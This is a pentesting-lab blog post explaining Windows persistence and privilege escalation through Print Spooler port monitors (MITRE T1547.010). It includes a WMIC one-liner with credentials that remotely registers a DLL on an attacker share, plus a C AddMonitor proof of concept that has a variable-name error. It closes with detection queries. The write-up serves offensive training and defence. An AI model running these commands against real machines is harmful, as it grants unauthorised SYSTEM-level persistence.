Windows Persistence via Port Monitors
Note
šØ Be sure to Checkout our Labs to enhance your offensive-cyber skills and get hands-on experience with Windows persistence!
This post will cover some quick research done by poking around the Windows persistence technique of Port Monitors aka Mitre technique T1547.010. This method can also be used to escalate privileges from Administrator(in most cases) to SYSTEM.
Port Monitors have been documented in the past but I wanted to dive a little deeper and post couple extra trinkets.
Note
š” Lab access is low-cost and includes multiple targets and networks already configured to be exploited - Request Access to get started!
Whatās a Port Monitor?
The context of a Port Monitor (in this post) is related to the Windows Print Spooler Service or spoolsv.exe. When adding a printer port monitor a user (or attackerš) has the ability to add an arbitrary dll that acts as the āmonitorā.
There are basically two ways to add a port monitor aka your evil dll: via Registry for persistence or via a custom Windows app (AddMonitor function) for immediate dll execution.
A nice bonus is your dll will be executed as NT AUTHORITY/SYSTEM since this is what the parent spoolsv.exe is run as. The catch is you need local admin privs or at least the ability to write to the registry.
First, onto persistenceā¦
Registry Persistence
Under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
hive is a list of sub-key port monitors. Each key should have a REG_SZ entry of Drivers with a specified DLL. Whenever your system boots, each of these DLLās will be executed as SYSTEM.
From MSDN docs, the DLL in the Drivers entry, and any accompanying files need to be located in C:\Windows\System32\
. This isnāt necessarily the case which weāll find out later.
In this post a simple dll payload is used to pop calc through each example: calc_64.dll
. For the first example a quick and simple key and Driver entry is added, with the payload already having been slide into System32.
Guess what will happen after reboot? Correct, the Windows boot sequence initiates eventually leading to calc being popped.
Off-Disk
Hidding your dll in System32 may avoid AV/AppLocker issues since itās a protected directory, but how about keeping the payload off disk? Sure! Just toss it on an attacker controlled share.
In this case the HosakaHQ
share has share permissions set to Everyone R+W, so when the target boots up calc is popped after a few minutes.
One even better, you can use Wmic
(or WinRM, Remote Registry, etc) to add the UNC registry key remotely so no need to pop an initial shell or drop anything to disk. Below, the domain user johnny
has local administrator privs on the target 10.35.11.20
and on the new share MaasMesa
.
One-liner
wmic /node:10.35.11.20 /user:"bama\johnny" /password:Folldalrocks process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\maasmesa\share\calc_64.dll" /t REG_SZ"
Note
Like other posts, if youāre reading this and blasting VMās on TheSprawl range, passwords posted here have been altered to avoid spoilers š§.
In Action
Running the above Wmic
command from a offensive windows box, then switching to the target box refreshing the reg.
Now, after reboot plus a few minutes of waiting around, calc is started by spoolsv.exe
Nothing crazy or new, but another option besides run keys while staying (sort of)off-disk. Next, onto adding a port monitor and executing it live.
Note
Using impacket-smbserver.py seemed to not completely work. In these examples, normal domain-joined boxes with Everyone permissions worked without issues using either the hostname or IP.
AddMonitor()
Adding an arbitrary monitor DLL can also be done immediately while the system is up using the Win32 API - specifically the AddMonitor function part of the Print Spooler API. Like the previous method youāll also need local admin privs to add the monitor.
Not a mega hack, but allows your payload to: āhideā under spoolsv.exe, potentially stay off disk, and run as SYSTEM. Hereās an example poc with the payload being on a share.
#include <windows.h>
int main()
{
//Build the struct req by AddMonitor
MONITOR_INFO_2 mon;
TCHAR name[14] = TEXT("MonitorSlayer");
TCHAR arch[12] = TEXT("Windows x64");
TCHAR dll[39] = TEXT("\\\\maasmesa\\share\\calc_64.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = arch;
monitorInfo.pDLLName = dll;
//Add the monitor
AddMonitor(NULL, 2, (LPBYTE)&mon);
return 0;
}
Once compiled, simply execute in an elevated terminal.
In Action
In the below example both the evil binary portmon.exe (not to be confused with the legit sysinternals tool!) and payload are executed from the MaasMesa
share. Also note calc.exe starting under spoolsv.exe.
Hereās a shot of procmon when executed on Server2019 - spoolsv.exe being the parent process.
The payload can also be placed on disk outside of System32, just adjust the AddMonitor function accordingly.
Detect
A quick port monitor persistence check can be done by querying the registry.
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
Example Below - all are Win10 2004 default besides the obvious.
You can also throw together some regex in PowerShell to check for dllās in network UNC paths. May also be a quick useful way to search deeper into the regsitry for certain file extensions living remotely.
Get-ChildItem -recurse HKLM:\SYSTEM\CurrentControlSet\Control\Print
|Get-ItemProperty
| where { $_ -match "\\\\(.*)\\(.*).dll" }
A more thorough check would involve looking into the dllās a bit more. This could probably be done in PowerShell easily, but I threw together a crude and dirty C# app thatāll check a few attributes from each DLL found within HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\
.
The app also checks for running processes with a parent process of spoolsv
.
Process Explorer and AutoRuns will also show process details and potential malicious print monitor registry entries. Thereās also an API of EnumMonitors that I tested, but didnāt pull back any new added monitors - added in the reg & via AddMonitor API call. Someone better at Windows programming can probably figure it out.
If you have verbose logging setup, you can also monitor Win32 API calls to AddMonitor (as MITRE suggests).
Summary & Sources
If youāve found this post useful and would like to get more hands-on pentesting lab time be sure to checkout the available ranges here at SlayerLabs.
At the time of writting, there arenāt any labs that focus on Windows persistence, but if youāre looking to get more precious XP with Windows/AD be sure to check out TheSprawl. Although be advised, TheSprawl is not recommended for beginners.
Defcon Talk presenting this technique: https://www.youtube.com/watch?v=dq2Hv7J9fvk
MITRE Technique: https://attack.mitre.org/techniques/T1547/010/
Win32 AddMonitor: https://docs.microsoft.com/en-us/windows/win32/printdocs/addmonitor
Win32 Monitor-Info-2: https://docs.microsoft.com/en-us/windows/win32/printdocs/monitor-info-2
WMI Securityhttps://docs.microsoft.com/en-us/previous-versions/tn-archive/ee156574(v=technet.10)?redirectedfrom=MSDN
« Back